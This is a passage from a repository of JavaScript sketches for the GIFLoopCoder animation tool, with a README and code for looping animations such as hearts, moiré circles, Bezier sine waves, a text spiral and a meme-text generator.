var list = glc.renderList,
width = glc.w,
height = glc.h;
// your code goes here:
var x = 0;
var y = 0;
var grid = 6;
var dist = 400 / grid;
var maxsize = dist * 2;
glc.styles.lineWidth = 2;
for( x = 0; x < grid+2; x++ ){
for( y = 0; y < grid+2; y++ ){
list.addHeart({
x: x*dist - ( 0.5 * dist ),
y: y*dist - ( 0.5 * dist ),
w: [ 0, maxsize ],
h: [ 0, maxsize ],
rotation: [ -Math.random()*360, Math.random()*360 ],
stroke: false,
fill: true,
strokeStyle: '#aa2266',
fillStyle: '#ff3399',
});
}
}
} <file_sep>/code/roy-moire.js
function onGLC(glc) {
glc.loop();
glc.size(550, 550);
glc.setDuration(5);
glc.setFPS(25);
glc.setMode('single');
glc.setEasing(false);
glc.setQuality(20);
glc.setMaxColors(128);
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#123';
nr = 63
for( var j=0; j<2; j++ ){
var rot = Math.random() * Math.PI * 2;
for( var i=0; i<nr; i++ ){
list.addCircle({
x: function( t ){
return width/2 + Math.sin( t*2*Math.PI ) * this._r;
},
y: function( t ){
if( this._j % 2 == 0 ){
return height/2 + Math.cos( t*2*Math.PI + this._rot ) * this._r;
} else {
return height/2 - Math.cos( t*2*Math.PI + this._rot ) * this._r;
}
},
radius: i*3,
stroke: true,
strokeStyle: color.rgba( 255, 255, 255, (i/nr) ),//'#fff',
fill: false,
blendMode: 'lighter',
lineWidth: 0.5,
_r: (nr-i),
_j: j,
_rot: rot,
phase: (i/nr)/3 + (j/2)
});
}
}
}
<file_sep>/README.md
# gifloopcoder-scripts
A collection of random experiments made with Bit101's gifloopcoder
See https://github.com/bit101/gifloopcoder
To run these:
* Copy the scripts to gifloopcoder's "sketches/code" folder, and open the index.html file in glc's folder.
* Or clone this repository "next to" gifloopcoder (so they're side by side in the same parent folder), and open the index.html from this repository.
Enjoy!
<file_sep>/code/roy-shading.js
function onGLC(glc) {
glc.loop();
glc.size( 400, 400 );
glc.setDuration( 2 );
glc.setFPS( 30 );
glc.setMode('single');
glc.setEasing( false );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#125';
var nr = 6;
var radius = 70;
for(var i=0; i<nr; i++ ){
list.addPoly({
x: function( t ){
return width/2 + Math.sin( (t/nr)*2*Math.PI + this.offset ) * radius*1.1;
},
y: function( t ){
return height/2 - Math.cos( (t/nr)*2*Math.PI + this.offset ) * radius*1.1;
},
radius: radius,
sides: 3,
fill: true,
fillStyle: function( t ){
var angle = this.nr/nr * 360 + ( t * ( 360/nr ) + 35 );
var brightness = 0.2 + ( Math.abs( (angle%360) -180 ) / 180 ) * 0.8;
return color.hsva( 200, 1, 1, brightness );
},
blendMode: 'screen',
rotation: function( t ){
return this.nr/nr * 360 + ( t * ( 360/nr ) + 90 );
},
nr: i,
offset: (2*Math.PI) * (i/nr),
});
}
}<file_sep>/code/roy-corner.js
function onGLC(glc) {
glc.loop();
glc.size( 600, 400 );
glc.setDuration( 5 );
glc.setFPS( 25 );
//glc.setMode('single');
//glc.setEasing(false);
glc.setMaxColors( 64 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.rgba( 0, 0, 0, 1 );
var nr = 31;
var v1 = 50;
var v2 = width - 50;
var padding = 0.1
var dist = ( height * (1-padding*2) ) / nr;
for( var i=0; i<nr; i++ ){
list.addSegment({
x0: v1,
y0: height/2,
x1: width/2,
y1: height * padding + dist * i,
segmentLength: 180,
strokeStyle: color.hsva( 200, 1, 1, 1 ),
lineWidth: [0,5],
shadowColor: color.hsva( 200, 1, 1, 1 ),
shadowOffsetX: 0,
shadowOffsetY: 0,
shadowBlur: 10,
phase: (i/nr)/7,
globalAlpha: [ 0, 1 ]
});
list.addSegment({
x0: v2,
y0: height/2,
x1: width/2,
y1: height * padding + dist * i,
segmentLength: 180,
strokeStyle: color.hsva( 210, 1, 1, 1 ),
lineWidth: [0,2.5],
shadowColor: color.hsva( 210, 1, 1, 1 ),
shadowOffsetX: 0,
shadowOffsetY: 0,
shadowBlur: 10,
phase: (i/nr)/7,
globalAlpha: [ 0, 1 ]
});
}
}<file_sep>/code/roy-bright.js
function onGLC(glc) {
glc.loop();
glc.size(600, 400);
glc.setDuration(2);
glc.setFPS(25);
glc.setMode('single');
glc.setEasing(false);
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#333f49';
var nr = 12500;
var size = 350;
var margin = 100;
for( var i=0; i<nr; i++ ){
var dist = ( Math.random() * Math.random() ) * size;
var angle = Math.random() * 2 * Math.PI;
var x = (width/2) + Math.sin( angle ) * dist;
var y = (height/2) - Math.cos( angle ) * dist;
list.addLine({
x0: function( t ){
return this._x + Math.sin( t*2*Math.PI ) * this._len;
},
y0: function( t ){
return this._y - Math.cos( t*2*Math.PI ) * this._len;
},
x1: function( t ){
return this._x - Math.sin( t*2*Math.PI ) * this._len;
},
y1: function( t ){
return this._y + Math.cos( t*2*Math.PI ) * this._len;
},
_x: x,
_y: y,
_len: (size-dist)/8 + Math.random() * (size/10),
lineWidth: 1.75,
strokeStyle: color.rgba( 255, 255, 255, ( (size-dist)/size )*0.025 ),
blendMode: 'lighter',
speedMult: ( Math.random() < 0.5 ) ? 1 : -1,
phase: (i/nr),
});
}
}
<file_sep>/code/roy-touchingballs.js
function onGLC(glc) {
glc.loop();
glc.size( 500, 500 );
glc.setDuration( 3 );
glc.setFPS( 25 );
glc.setMode('single');
glc.setEasing(false);
glc.setMaxColors( 64 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#456';
var grid = 4;
var gridSize = 100;
var maxSize = Math.sqrt( Math.pow( gridSize/2, 2 ) + Math.pow( gridSize/2, 2 ) );
var sizeFactor = (gridSize/2) / maxSize;
var container = list.addContainer({
x: width / 2,
y: height / 2,
rotation: 21,
});
for( var x=-grid; x<=grid; x++ ){
for( var y=-2*grid; y<=2*grid; y++ ){
var oddeven = y % 2;
list.addCircle({
x: x * gridSize + ( oddeven ? -gridSize/4 : gridSize/4 ),
y: y * gridSize/2,
stroke: false,
fillStyle: oddeven ? '#6af' : '#fd6',
radius: function( t ){
return ( maxSize * 0.5 ) + Math.sin( t*2*Math.PI ) * ( maxSize * (sizeFactor-0.5) );
},
parent: container,
oddeven: oddeven,
phase: oddeven * 0.5,
});
}
}
}
<file_sep>/code/roy-beziersines.js
function onGLC(glc) {
glc.loop();
glc.size( 500, 300 );
glc.setDuration( 5 );
glc.setFPS( 25 );
glc.setMode( "single" );
glc.setEasing( false );
glc.setMaxColors( 64 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.rgba( 50, 50, 50, 1 );
var waves = 11;
var nr = 9;
for( var w=0; w<waves; w++ ){
for( var i=0; i<nr; i++ ){
if( i != 0 ){
list.addCircle({
x: i * ( width/nr ),
y: function( t ){
return getY( t, this.nr, 0, false );
},
radius: 2,
stroke: false,
fill: true,
fillStyle: color.rgba( 255, 255, 255, 0.6 ),
nr: i,
phase: w / ( waves * 2.2 )
});
}
list.addBezierCurve({
x0: function( t ){
return getX( t, this.nr, 0, true );
},
y0: function( t ){
return getY( t, this.nr, 0, false );
},
x1: function( t ){
return getX( t, this.nr, -1, true );
},
y1: function( t ){
return getY( t, this.nr, -1, true );
},
x2: function( t ){
return getX( t, this.nr+1, 1, true );
},
y2: function( t ){
return getY( t, this.nr+1, 1, true );
},
x3: function( t ){
return getX( t, this.nr, 1, false );
},
y3: function( t ){
return getY( t, this.nr, 1, false );
},
stroke: true,
strokeStyle: color.rgba( 255, 220, 100, 0.6 ),
lineWidth: 2,
nr: i,
phase: w / ( waves * 2.2 )
});
}
}
function getX( t, i, offset, reverse ){
var currentX = i * ( width / nr );
var offsetX = ( i + offset ) * ( width / nr );
if( reverse ){
return currentX - ( offsetX - currentX )/5;
}
return offsetX;
}
function getY( t, i, offset, reverse ){
var currentY = height/2 + Math.sin( ( t + ( i / nr ) ) * 2 * Math.PI ) * 100;
var offsetY = height/2 + Math.sin( ( t + ( (i + offset ) / nr ) ) * 2 * Math.PI ) * 100;
if( reverse ){
return currentY - ( offsetY - currentY )/5;
}
return offsetY;
}
}<file_sep>/code/roy-textspiral.js
function onGLC(glc) {
glc.loop();
glc.size( 320, 320 );
glc.setDuration( 3 );
glc.setFPS( 25 );
glc.setMode( "single" );
glc.setEasing( false );
glc.setMaxColors( 32 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.rgba( 50, 80, 110, 1 );
var nr = 200;
var size = 330;
var scale = 0.98;
var str = 'GIFLOOPCODER';
var letterAngle = 13;
for( var i=0; i<nr; i++ ){
var c = list.addContainer({
x: width/2,
y: height/2,
rotation: [ i * letterAngle, ( i + str.length ) * letterAngle ]
});
var currentSize = getSize( i );
var targetSize = getSize( i + str.length );
list.addText({
text: str.charAt( i % str.length ),
x: 0,
y: [ -currentSize, -targetSize ],
rotation: 4,
fontSize: [ currentSize/3, targetSize/3 ],
fontWeight: 'bold',
fontFamily: 'Roboto Condensed',
fontStyle: 'normal',
fillStyle: 'white',
parent: c
});
}
var gradient = color.createRadialGradient( 0, 0, 0, 0, 0, width/2 );
gradient.addColorStop( 0, color.rgba( 50, 80, 110, 1 ) );
gradient.addColorStop( 1, color.rgba( 50, 80, 110, 0 ));
list.addCircle({
x: width/2,
y: height/2,
radius: width/2,
stroke: false,
fill: true,
fillStyle: gradient
});
function getSize( i ){
return size * Math.pow( scale, i );
}
}<file_sep>/code/roy-concentric-circles.js
function onGLC(glc) {
glc.loop();
glc.size( 400, 400 );
glc.setDuration( 4 );
glc.setFPS( 30 );
glc.setMode('single');
glc.setEasing( false );
glc.setMaxColors( 8 );
glc.setQuality( 10 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#fff';
var nr = 9;
var sources = [];
var baseSize = 200;
var steps = 17;
var sizeStep = 11.5;
var cols = [ '#eef6ff', '#136' ];
for( var i=0; i<nr; i++ ){
var src = [];
src['x'] = 50 + i%3 * 150;
src['y'] = 50 + Math.floor(i/3) * 150;
src['r'] = 20 + Math.random() * 40;
src['d'] = Math.random() < 0.5 ? 1 : -1;
sources.push( src );
}
for( var i=0; i<steps; i++ ){
for( var s=0; s<sources.length; s++ ){
list.addCircle({
x: function( t ){
return this.xpos + this.dir * Math.sin( t*2*Math.PI ) * this.rad;
},
y: function( t ){
return this.ypos - Math.cos( t*2*Math.PI ) * this.rad;
},
xpos: sources[s]['x'],
ypos: sources[s]['y'],
rad: sources[s]['r'],
dir: sources[s]['d'],
radius: baseSize - ( i * sizeStep ),
stroke: false,
fillStyle: cols[ i%cols.length ],
phase: s/nr,
});
}
}
}<file_sep>/code/roy-blackstar.js
function onGLC(glc) {
glc.loop();
glc.size(400, 400);
glc.setDuration(3.5);
glc.setFPS(30);
glc.setMode('single');
//glc.setEasing(false);
glc.setMaxColors(256);
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#fff';
var size = 140;
var points = 5;
var innerRatio = 0.5 * ( 3 - Math.sqrt( points ) ); // from http://www.jdawiseman.com/papers/easymath/surds_star_inner_radius.html
list.addStar({
x: width / 2,
y: height / 2,
outerRadius: [ size, innerRatio * size ],
innerRadius: [ innerRatio * size, size ],
points: points,
rotation: [ -90, (180/points)-90 ],
stroke: false,
fillStyle: '#000',
});
}<file_sep>/code/roy-memegen.js
function onGLC(glc) {
glc.loop();
glc.size( 600, 600 );
glc.setDuration( 3 );
glc.setFPS( 25 );
glc.setMode( 'single' );
glc.setEasing( false );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#333';
glc.context.imageSmoothingEnabled = true;
parts = [
[ 'Just because', 'When', 'Sometimes', 'If', 'Whenever', 'In case' ],
[ 'life', 'your best friend', 'an orange', 'the police', 'the internet', 'your enemy', 'your family', 'your boss', 'someone', 'your mom' ],
[ 'looks like', 'hands you', 'isn\'t', 'needs', 'wants', 'makes you think of', 'asks you for' ],
[ 'a ride,', 'lemons,', 'monkeys,', 'something wonderful,', 'a banana,', 'happiness,', 'a kiss,', 'your help,', 'the space shuttle,', 'the remote,' ],
[ 'always', 'never', 'you should', 'remember to', 'you shouldn\'t', 'it\'s okay to' ],
[ 'cry.', 'party.', 'be happy.', 'say no.', 'kiss.', 'do nothing.', 'oblige.', 'give up', 'make lemonade.' ]
];
words = [];
for( var i=0; i<parts.length; i++ ){
words.push( parts[i][ Math.floor( Math.random() * parts[i].length ) ] );
}
var lineHeight = 50;
var fontSize = 40;
var yOffset = ( height - ( ( words.length - 1 ) * lineHeight ) ) / 2;
for( var i=0; i<words.length; i++ ){
var container = list.addContainer({
//x: width/2,
y: yOffset + i*lineHeight,
x: function( t ){
return ( width/2 ) + Math.cos( t*2*Math.PI ) * 20;
},
// scaleX : 1,
// scaleY: function( t ){
// return Math.cos( t*2*Math.PI );
// },
phase: 1 - ( i / words.length )/5,
});
list.addText({
x: 0,
y: 0,
text: words[i],
fontSize: fontSize,
fontWeight: "bold",
fontFamily: '"Open Sans", sans-serif',
fontStyle: 'normal',
fillStyle: 'white',
stroke: true,
strokeStyle: '#fff',
lineWidth: 1,
parent: container,
});
}
}
<file_sep>/code/roy-flair.js
function onGLC(glc) {
glc.loop();
glc.size(500, 500);
glc.setDuration(3.5);
glc.setFPS(25);
glc.setMode('single');
glc.setEasing(false);
glc.setMaxColors( 128 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#234';
var nr = 21;
var rad = 100;
var size = 110;
var cols = [ '#f00', '#0f0', '#00f' ];
var phaseChange = 0.025;
for( var c=0; c<cols.length; c++ ){
for( var i=0; i<nr; i++ ){
var container = list.addContainer({
x: function( t ){
var ti = this.i + Math.cos( t*2*Math.PI ) * (i/nr);
return width/2 + Math.sin( (ti/nr)*2*Math.PI ) * rad;
},
y: function( t ){
var ti = this.i + Math.cos( t*2*Math.PI ) * (i/nr);
return height/2 - Math.cos( (ti/nr)*2*Math.PI ) * rad;
},
baseAngle: (i/nr) * 360 - 90,
i: i,
rotation: function( t ){
return this.baseAngle + Math.sin( t*2*Math.PI ) * 30;
},
phase: c * phaseChange,
});
list.addRay({
x: 0,
y: 0,
length: size,
parent: container,
lineWidth: 10,
strokeStyle: cols[c],
blendMode: 'screen',
});
}
}
}<file_sep>/code/iris-hearts.js
function onGLC(glc) {
glc.loop();
// glc.playOnce();
glc.size( 400, 400 );
glc.setDuration( 1 );
glc.setFPS( 30 );
glc.setMode( "single" );
glc.setEasing( false );
glc.setMaxColors( 256 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#335599';
var rings = 5;
var size = 45;
var mindist = 60;
for( var r=0; r<rings; r++){
var radius = 32 + r * mindist;
var circlesize = 2 * Math.PI * radius;
var nrofhearts = Math.max( Math.floor( circlesize / mindist ), 1 );
var col = color.hsv( 180+(r/rings)*180, 0.25, 1 );
for( var i=0; i<nrofhearts; i++ ){
list.addHeart({
x: function( t ){
return (width/2) + Math.sin( (2*Math.PI) * ( ( t+this.p_nr ) / this.p_nrofhearts ) ) * this.p_radius;
},
y: function( t ){
return (height/2) + -Math.cos( (2*Math.PI) * ( ( t+this.p_nr ) / this.p_nrofhearts ) ) * this.p_radius;
},
rotation: function( t ){
return ( ( t+this.p_nr ) / this.p_nrofhearts ) * 360;
},
w: size,
h: size,
stroke: false,
fill: true,
fillStyle: col,
shadowColor: color.rgba( 0, 0, 0, 0.25 ),
shadowOffsetX: 5,
shadowOffsetY: 5,
shadowBlur: 10,
p_radius: radius,
p_nr: i,
p_nrofhearts: nrofhearts
});
}
}
}<file_sep>/code/unsuccessful/roy-weirdbubble.js
function onGLC(glc) {
glc.loop();
glc.size(400, 400);
glc.setDuration(2.5);
glc.setFPS(20);
glc.setMode('single');
glc.setEasing(false);
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.rgba( 40, 40, 40, 1 );
var nr = 300;
var wmax = 150;
for( var i=0; i<nr; i++ ){
var wtotal = Math.sin( ( i/nr ) * Math.PI ) * wmax ;
list.addRect({
x: width/2,
y: i + ( width-nr)/2,
w: wtotal,
h: 1,
stroke: false,
fillStyle: color.rgba( 80, 80, 80, 1 )
});
list.addRect({
x: function( t ){
var w1 = Math.sin(t*2*Math.PI) * this.wtotal;
if( w1 > 0 ){
return width/2 - this.wtotal/2 + w1/2;
} else {
return width/2 + this.wtotal/2 + w1/2;
}
},
y: i + ( width-nr)/2,
w: function( t ){
return Math.sin(t*2*Math.PI) * this.wtotal;
},
h: 1,
stroke: false,
fillStyle: 'green',
wtotal: wtotal,
phase: i/nr
});
list.addRect({
x: function( t ){
var w1 = -Math.sin(t*2*Math.PI) * this.wtotal;
if( w1 < 0 ){
return width/2 + this.wtotal/2 + w1/2;
} else {
return width/2 - this.wtotal/2 + w1/2;
}
},
y: i + ( width-nr)/2,
w: function( t ){
return -Math.sin(t*2*Math.PI) * this.wtotal;
},
h: 1,
stroke: false,
fillStyle: 'blue',
wtotal: wtotal,
phase: i/nr
});
}
// var gradient = color.createLinearGradient( 0, -height/2, 0, height/2 );
// gradient.addColorStop( 0, '#f00' );
// gradient.addColorStop( 1, '#00f' );
// var gradient2 = color.createLinearGradient( 0, -height/2, 0, height/2 );
// gradient2.addColorStop( 0, '#224' );
// gradient2.addColorStop( 0.5, '#66b' );
// gradient2.addColorStop( 1, '#ddf' );
}<file_sep>/code/roy-present.js
function onGLC(glc) {
glc.loop();
glc.size( 400, 400 );
glc.setDuration( 5 );
glc.setFPS( 25 );
// glc.setMode('single');
// glc.setEasing(false);
glc.setMaxColors( 256 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.rgba( 30, 50, 70, 1 );
var lw1 = 7;
var lw2 = 7;
var col1 = color.rgba( 40, 180, 60, 1 );
var col2 = color.rgba( 255, 60, 40, 1 );
var c = list.addContainer({
x: width/2,
y: height/2 + 10,
});
// box outlines
var lines1 = [
[ -120, -80, -120, 80 ],
[ 120, 80, 120, -80 ],
[ -120, -80, 0, -120 ],
[ 120, -80, 0, -120 ],
[ -120, 80, 0, 120 ],
[ 120, 80, 0, 120 ],
[ -120, -80, 0, -40 ],
[ 120, -80, 0, -40 ],
[ 0, -40, 0, 120 ]
];
for( var i=0; i<lines1.length; i++ ){
list.addSegment({
x0: lines1[i][0],
y0: lines1[i][1],
x1: lines1[i][2],
y1: lines1[i][3],
lineWidth: lw1,
stroke: true,
strokeStyle: col1,
segmentLength: 160,
parent: c,
globalAlpha: getAlpha
});
}
// ribbon
var lines2 = [
[ 60, -60, -60, -100 ],
[ 60, -100, -60, -60 ],
[ -60, -60, -60, 100 ],
[ 60, 100, 60, -60 ]
];
for( var i=0; i<lines2.length; i++ ){
list.addSegment({
x0: lines2[i][0],
y0: lines2[i][1],
x1: lines2[i][2],
y1: lines2[i][3],
lineWidth: lw2,
stroke: true,
strokeStyle: col2,
segmentLength: 160,
parent: c,
globalAlpha: getAlpha
});
}
// knot
var arcs = [
[ 10, -116, 90 ],
[ -10, -110, -90 ]
];
for( var i=0; i<arcs.length; i++ ){
list.addArcSegment({
x: arcs[i][0],
y: arcs[i][1],
radius: 30,
lineWidth: lw2,
stroke: true,
strokeStyle: col2,
rotation: arcs[i][2],
arc: [0,720],
parent: c,
globalAlpha: getAlpha
});
}
function getAlpha( t ){
return Math.min( 1, Math.sin( t*Math.PI )*2 );
}
}<file_sep>/code/roy-cubes.js
function onGLC(glc) {
glc.loop();
// glc.playOnce();
glc.size(400, 400);
glc.setDuration(5);
glc.setFPS(30);
glc.setMode("single");
glc.setEasing(false);
// glc.setMaxColors(256);
var list = glc.renderList,
width = glc.w,
height = glc.h;
// your code goes here:
var maxsize = 800;
var nr = 31;
glc.styles.lineWidth = 4;
/* list.addRect({
x: width/2,
y: height/2,
w: width,
h: height,
fill: true,
fillStyle: '#99aaee'
});*/
for( var i = 0; i < nr; i++ ){
var size = Math.sin( (i*2*Math.PI)/nr ) * maxsize;
list.addCube({
x: width/2,
y: height/2,
z: [0, 100],
rotationX: [0, 180],
rotationY: [0, 180],
rotationZ: [0, 180],
size: [ size, 0 ],
strokeStyle: ['rgba(0,0,0,0)','rgba(0,0,0,1)'],
phase: i/nr
});
}
}<file_sep>/code/roy-beziers.js
function onGLC(glc) {
glc.loop();
// glc.playOnce();
glc.size(400, 400);
glc.setDuration(3);
glc.setFPS(30);
//glc.setMode("single");
//glc.setEasing(false);
glc.setMaxColors(256);
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
var nr = 5;
var amp = 2;
var counter = 0;
for( var i=0; i<nr; i++ ){
list.addBezierCurve({
x0: width/2,
y0: height/2,
x1: getInnerX,
y1: getInnerY,
x2: width/2 + Math.sin( i*(2*Math.PI)/nr ) * 200,
y2: height/2 + -Math.cos( i*(2*Math.PI)/nr ) * 200,
x3: getOuterX,
y3: getOuterY,
fill: false,
lineWidth: 2,
strokeStyle: '#000000'
});
}
function getInnerX( t ){
var progress = counter + ( (t-0.5) * 2 ) * amp;
return width/2 + Math.sin( progress*(2*Math.PI)/nr ) * 10;
}
function getInnerY( t ){
var progress = counter + ( (t-0.5) * 2 ) * amp;
return width/2 + -Math.cos( progress*(2*Math.PI)/nr ) * 10;
}
function getOuterX( t ){
var progress = counter + ( (t-0.5) * 2 ) * amp;
return width/2 + Math.sin( progress*(2*Math.PI)/nr ) * 300;
}
function getOuterY( t ){
var progress = counter + ( (t-0.5) * 2 ) * amp;
var y = height/2 + -Math.cos( progress*(2*Math.PI)/nr ) * 300;
counter++;
counter = counter%nr;
return y;
}
}<file_sep>/code/roy-pixels3.js
var pixels = [];
function onGLC(glc) {
glc.loop();
glc.size( 360, 360);
glc.setDuration( 1 );
glc.setFPS( 25 );
glc.setMode('single');
glc.setEasing(false);
glc.setMaxColors( 256 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.rgb( 0, 0, 0 );
var imgx = 60;
var imgy = 60;
var blocksize = 6;
var hvar = 10;
var svar = 0.1;
var vvar = 0.1;
var img = list.addImage({
x: imgx/2,
y: imgy/2,
url: "file:///C:/Users/Roy/Desktop/glc-windows/lianne3-square.png",
globalAlpha: function( t ){
return ( pixels.length == 0 ) ? 1 : 0;
},
});
for( var x=0; x<imgx; x++ ){
for( var y=0; y<imgy; y++ ){
list.addCircle({
x: x * blocksize + (blocksize/2),
y: y * blocksize + (blocksize/2),
//radius: [ blocksize/2, blocksize ],
radius: function( t ){
return blocksize*0.85 + Math.sin( t*2*Math.PI ) * blocksize*0.25;
},
stroke: false,
fillStyle: function( t ){
if( pixels.length != 0 ){
var pixel = pixels[ this.xpos ][ this.ypos ];
// calculate hue
var f1 = Math.sin( ( t+this.rand1 ) * 2*Math.PI );
var hue = Math.round( pixel[3] + f1*hvar );
hue = ( hue + 360 ) % 360;
// calculate sat
var f2 = Math.sin( ( t+this.rand2 ) * 2*Math.PI );
var sat = pixel[4] + f2*svar;
// ... and val
var f3 = Math.sin( ( t+this.rand3 ) * 2*Math.PI );
var val = pixel[5] + f3*vvar;
// return the slightly modified color
return color.hsv( hue, sat, val );
} else {
return this.defaultColor;
}
},
xpos: x,
ypos: y,
defaultColor: color.rgba( 0, 0, 0, 0 ),
rand1: Math.random(),
rand2: Math.random(),
rand3: Math.random(),
phase: Math.random(),
});
}
}
// harvest color info from the loaded image for use in the fillStyle function
glc.onExitFrame = function(t) {
if( t == 0 && pixels.length == 0 ){
for( var x=0; x<imgx; x++ ){
pixels[x] = [];
for( var y=0; y<imgy; y++ ){
var pixel = glc.context.getImageData( x, y, 1, 1 ).data;
var hsv = rgb2hsv( pixel[0], pixel[1], pixel[2] );
pixels[x][y] = [ pixel[0], pixel[1], pixel[2], hsv.h, hsv.s, hsv.v ];
}
}
}
}
}
/* slightly modified from: http://stackoverflow.com/a/8023734 */
function rgb2hsv () {
var rr, gg, bb,
r = arguments[0] / 255,
g = arguments[1] / 255,
b = arguments[2] / 255,
h, s,
v = Math.max(r, g, b),
diff = v - Math.min(r, g, b),
diffc = function(c){
return (v - c) / 6 / diff + 1 / 2;
};
if (diff == 0) {
h = s = 0;
} else {
s = diff / v;
rr = diffc(r);
gg = diffc(g);
bb = diffc(b);
if (r === v) {
h = bb - gg;
}else if (g === v) {
h = (1 / 3) + rr - bb;
}else if (b === v) {
h = (2 / 3) + gg - rr;
}
if (h < 0) {
h += 1;
}else if (h > 1) {
h -= 1;
}
}
return {
h: Math.round(h * 360),
s: s,
v: v
};
}<file_sep>/code/roy-packages.js
function onGLC(glc) {
glc.loop();
// glc.playOnce();
glc.size( 400, 400 );
glc.setDuration( 2 );
glc.setFPS( 30 );
glc.setMode( "single" );
//glc.setEasing( false );
glc.setMaxColors( 32 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#446f88';
var grid = 5;
var size = width / grid;
var points = 6;
var angle = ( 120/360 ) * 2 * Math.PI;
var dist = size;
var transx = Math.sin( angle ) * dist;
var transy = -Math.cos( angle ) * dist;
for( var x=-(grid+1); x<(grid+1); x++ ){
list.addLine({
x0: width/2 + ( -grid * transx ) + ( x * transx ),
y0: height/2 + ( x * transy ) - ( -grid * transy ) - Math.cos( angle ) * ( size/2.5 ),
x1: width/2 + ( grid * transx ) + ( x * transx ),
y1: height/2 + ( x * transy ) - ( grid * transy ) - Math.cos( angle ) * ( size/2.5 ),
lineWidth: size/1.8,
strokeStyle: color.rgba( 0, 0, 0, 0.3 ),
});
var linePhase = Math.random();
for( var y=-(grid+1); y<(grid+1); y++ ){
var xpos = width/2 + ( y * transx ) + ( x * transx );
var ypos = height/2 + ( x * transy ) - ( y * transy );
var nextxpos = width/2 + ( (y-1) * transx ) + ( x * transx );
var nextypos = height/2 + ( x * transy ) - ( (y-1) * transy );
list.addPoly({
x: [ xpos, nextxpos ],
y: [ ypos, nextypos ],
radius: size/2.5,
sides: points,
stroke: true,
strokeStyle: color.rgba( 0, 0, 0, 0.4 ),
lineWidth: 1.5,
rotation: 180 / points,
fill: true,
fillStyle: '#eecc8f',
phase: linePhase
});
list.addStar({
x: [ xpos, nextxpos ],
y: [ ypos, nextypos ],
outerRadius: size/2.5,
innerRadius: 0,
points: points/2,
stroke: true,
strokeStyle: color.rgba( 0, 0, 0, 0.4 ),
lineWidth: 1.5,
rotation: -180 / points,
fill: false,
phase: linePhase
});
}
}
}<file_sep>/code/roy-shadowdots.js
function onGLC(glc) {
glc.loop();
// glc.playOnce();
glc.size( 420, 420 );
glc.setDuration(2);
glc.setFPS(30);
//glc.setMode("single");
//glc.setEasing(false);
glc.setMaxColors(16);
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#ffffff';
var grid = 5;
var padding = 40;
var gridsizeX = ( width - 2*padding ) / grid;
var gridsizeY = ( height - 2*padding ) / grid;
for( var x=0; x<grid; x++){
for( var y=0; y<grid; y++){
var basex = padding + ( x * gridsizeX + gridsizeX/2 );
var basey = padding + ( y * gridsizeY + gridsizeY/2 );
var topx = basex + ( basex - (width/2) ) / 15;
var topy = basey + ( basey - (width/2) ) / 15;
var fromcenter = Math.sqrt( Math.pow( ( basex - (width/2) ), 2 ) + Math.pow( ( basey - (height/2) ), 2 ) );
list.addCircle({
x: [ basex, topx ],
y: [ basey, topy ],
radius: [ 25, 28 ],
stroke: false,
fill: true,
fillStyle: color.rgba( 255, 255, 255, 1 ),
shadowColor: [ color.rgba( 0, 0, 0, 0.4 ), color.rgba( 0, 0, 0, 0.25 ) ],
shadowOffsetX: [ 0, 15 ],
shadowOffsetY: [ 0, 15 ],
shadowBlur: [ 0, 20 ],
phase: -fromcenter / 750
});
}
}
}<file_sep>/code/roy-marquee.js
function onGLC(glc) {
glc.loop();
glc.size( 600, 300 );
glc.setDuration( 3 );
glc.setFPS( 15 );
glc.setMode( "single" );
glc.setEasing( false );
glc.setMaxColors( 64 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.rgba( 30, 50, 70, 1 );
var marquee = [
' ****** *** ****** ** ** ',
'*** *** *** *** *** **** **** ',
'*** *** *** *** ********* ',
'*** **** *** *** ******* ',
'*** *** *** *** *** ***** ',
'*** *** *** *** *** *** ',
' ****** ****** ****** * ',
];
var dist = 12;
var columns = Math.floor( width/dist );
var nrofFrames = marquee[0].length;
var paddingY = ( height - marquee.length * dist ) / 2;
for( var x=0; x<columns; x++ ){
for( var y=0; y<marquee.length; y++ ){
list.addCircle({
x: dist/2 + x*dist,
y: dist/2 + y*dist + paddingY,
radius: dist * 0.35,
stroke: false,
fillStyle: 'white',
shadowColor: function( t ){
return getOnOff( t, this.column, this.row ) ? color.rgba( 255, 255, 150, 1 ) : color.rgba( 255, 255, 150, 0 );
},
